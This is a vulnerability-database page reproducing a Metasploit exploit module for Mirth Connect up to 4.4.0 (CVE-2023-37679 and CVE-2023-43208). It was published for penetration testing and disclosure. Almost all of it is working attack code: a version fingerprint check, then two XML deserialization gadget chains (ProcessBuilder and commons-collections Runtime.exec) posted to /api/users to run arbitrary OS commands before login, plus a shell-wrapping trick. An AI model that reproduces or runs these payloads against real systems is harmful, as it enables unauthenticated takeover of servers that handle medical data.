Lucene search
K

Mirth Connect 4.4.0 Remote Command Execution

🗓️ 31 Jan 2024 00:00:00Reported by r00t, Spencer McIntyre, Naveen Sunkavally, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 528 Views

Mirth Connect 4.4.0 Remote Command Execution vulnerability allows OS command execution through crafted HTTP requests. It is assigned CVE-2023-37679 & CVE-2023-43208, affecting versions 4.1.1, 4.3.0, 4.4.0

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Mirth Connect Deserialization RCE',  
'Description' => %q{  
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability  
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the  
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,  
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed  
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was  
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.  
},  
'Author' => [  
'r00t',  
'Naveen Sunkavally',  
'Spencer McIntyre'  
],  
'References' => [  
['CVE', '2023-37679'],  
['URL', 'https://www.ihteam.net/advisory/mirth-connect/'],  
['CVE', '2023-43208'],  
['URL', 'https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/'],  
['URL', 'https://www.horizon3.ai/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/'],  
],  
'DisclosureDate' => '2023-10-25',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux', 'win'],  
'Arch' => [ARCH_CMD],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Payload' => { 'Space' => 8191, 'DisableNops' => true }  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
return CheckCode::Unknown('HTTP fingerprinting failed.') if res.nil?  
  
unless res.get_html_document&.xpath('//head/title')&.first&.text =~ /Mirth Connect/  
return CheckCode::Safe('The target is not Mirth Connect.')  
end  
  
target_version = get_target_version  
return CheckCode::Detected('Failed to detect the target version.') unless target_version  
  
vprint_status("Detected target version: #{target_version}")  
  
if target_version <= Rex::Version.new('4.3.0')  
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-37679.")  
elsif target_version <= Rex::Version.new('4.4.0')  
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-43208.")  
end  
  
CheckCode::Safe("Version #{target_version} is not affected.")  
end  
  
def get_target_version  
return @target_version if @target_version  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/server/version'),  
'headers' => {  
'X-Requested-With' => 'OpenAPI'  
}  
)  
return nil unless res&.code == 200  
return nil unless res.body =~ /(\d+(\.\d+)*)/  
  
@target_version = Rex::Version.new(Regexp.last_match(1))  
@target_version  
end  
  
def exploit  
target_version = get_target_version  
print_status("Executing #{payload_instance.refname} (#{target.name})")  
  
if target_version <= Rex::Version.new('4.3.0')  
# The CVE-2023-43208 gadget chain will also work here but use the old one to verify the original vulnerability  
# which did not implement the deny-list logic that was bypassed by the newer chain  
res = execute_command_cve_2023_37679(payload.encoded)  
elsif target_version <= Rex::Version.new('4.4.0')  
res = execute_command_cve_2023_43208(payload.encoded)  
else  
fail_with(Failure::NoTarget, "Version #{target_version} is not vulnerable.")  
end  
  
if res.nil?  
fail_with(Failure::Unreachable, 'Failed to execute the payload.')  
elsif res.code != 500  
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload.')  
end  
  
print_good('The target appears to have executed the payload.')  
end  
  
def execute_command_cve_2023_37679(cmd, _opts = {})  
# Tested on 4.1.1 and 4.3.0  
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<sorted-set>  
<string>#{rand_text_alphanumeric(4..12)}</string>  
<dynamic-proxy>  
<interface>java.lang.Comparable</interface>  
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">  
<target class="java.lang.ProcessBuilder">  
<command>  
<string>#{target['Platform'] == 'win' ? 'cmd.exe' : 'sh'}</string>  
<string>#{target['Platform'] == 'win' ? '/c' : '-c'}</string>  
<string>#{cmd.encode(xml: :text)}</string>  
</command>  
</target>  
<methodName>start</methodName>  
<eventTypes/>  
</handler>  
</dynamic-proxy>  
</sorted-set>  
XML  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api/users'),  
'ctype' => 'application/xml',  
'headers' => {  
'X-Requested-With' => 'OpenAPI'  
},  
'data' => xml  
})  
  
res  
end  
  
def execute_command_cve_2023_43208(cmd, _opts = {})  
if target['Platform'] == 'win'  
cmd = "cmd.exe /c \"#{cmd}\""  
else  
# see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html  
cmd = "sh -c $@|sh . echo #{cmd}"  
end  
  
# Tested on 4.1.1, 4.4.0  
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<sorted-set>  
<string>#{rand_text_alphanumeric(4..12)}</string>  
<dynamic-proxy>  
<interface>java.lang.Comparable</interface>  
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">  
<target class="org.apache.commons.collections4.functors.ChainedTransformer">  
<iTransformers>  
<org.apache.commons.collections4.functors.ConstantTransformer>  
<iConstant class="java-class">java.lang.Runtime</iConstant>  
</org.apache.commons.collections4.functors.ConstantTransformer>  
<org.apache.commons.collections4.functors.InvokerTransformer>  
<iMethodName>getMethod</iMethodName>  
<iParamTypes>  
<java-class>java.lang.String</java-class>  
<java-class>[Ljava.lang.Class;</java-class>  
</iParamTypes>  
<iArgs>  
<string>getRuntime</string>  
<java-class-array/>  
</iArgs>  
</org.apache.commons.collections4.functors.InvokerTransformer>  
<org.apache.commons.collections4.functors.InvokerTransformer>  
<iMethodName>invoke</iMethodName>  
<iParamTypes>  
<java-class>java.lang.Object</java-class>  
<java-class>[Ljava.lang.Object;</java-class>  
</iParamTypes>  
<iArgs>  
<null/>  
<object-array/>  
</iArgs>  
</org.apache.commons.collections4.functors.InvokerTransformer>  
<org.apache.commons.collections4.functors.InvokerTransformer>  
<iMethodName>exec</iMethodName>  
<iParamTypes>  
<java-class>java.lang.String</java-class>  
</iParamTypes>  
<iArgs>  
<string>#{cmd.encode(xml: :text)}</string>  
</iArgs>  
</org.apache.commons.collections4.functors.InvokerTransformer>  
</iTransformers>  
</target>  
<methodName>transform</methodName>  
<eventTypes>  
<string>compareTo</string>  
</eventTypes>  
</handler>  
</dynamic-proxy>  
</sorted-set>  
XML  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api/users'),  
'ctype' => 'application/xml',  
'headers' => {  
'X-Requested-With' => 'OpenAPI'  
},  
'data' => xml  
})  
  
res  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation